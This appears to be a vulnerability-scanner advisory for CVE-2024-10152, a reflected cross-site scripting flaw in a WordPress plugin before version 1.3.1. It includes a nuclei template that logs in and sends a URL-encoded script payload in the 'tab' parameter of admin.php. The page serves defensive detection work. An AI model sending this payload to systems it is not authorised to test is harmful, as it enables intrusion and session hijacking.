Simple Certain Time to Show Content - Cross-Site Scripting

highseverity

7.1CVSS score

0.6%likelihood of exploitation, next 30 days

51%of all CVEs are less likely

Readycheck to confirm it

Simple Certain Time to Show Content WordPress plugin < 1.3.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users such as admin, exploit requires attacker to craft a malicious URL.

Impact

Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.

Fix

Update to version 1.3.1 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in") and status_code == 302
Send: GET /wp-admin/admin.php?page=simple-certain-time-to-show-content&tab=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: status_code == 200 and contains_all(body, "><script>alert(document.domain)</script>","simple-certain-time-to-show-content")

Run it with nuclei: nuclei -id CVE-2024-10152 -u <target>

The full check

id: CVE-2024-10152

info:
  name: Simple Certain Time to Show Content - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: high
  description: |
    Simple Certain Time to Show Content WordPress plugin < 1.3.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users such as admin, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to version 1.3.1 or later.
  reference:
    - https://wpscan.com/vulnerability/b4d17da2-4c47-4fd1-a6bd-6692b07cf710/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10152
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-10152
    cwe-id: CWE-79
    epss-score: 0.0063
    epss-percentile: 0.50544
    cpe: cpe:2.3:a:elementengage:simple_certain_time_to_show_content:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: elementengage
    product: simple_certain_time_to_show_content
  tags: cve,cve2024,elementengage,simple-certain-time-to-show-content,wordpress,wp,wp-plugin,authenticated,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "wordpress_logged_in")'
          - 'status_code == 302'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=simple-certain-time-to-show-content&tab=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "><script>alert(document.domain)</script>","simple-certain-time-to-show-content")'
        condition: and

References

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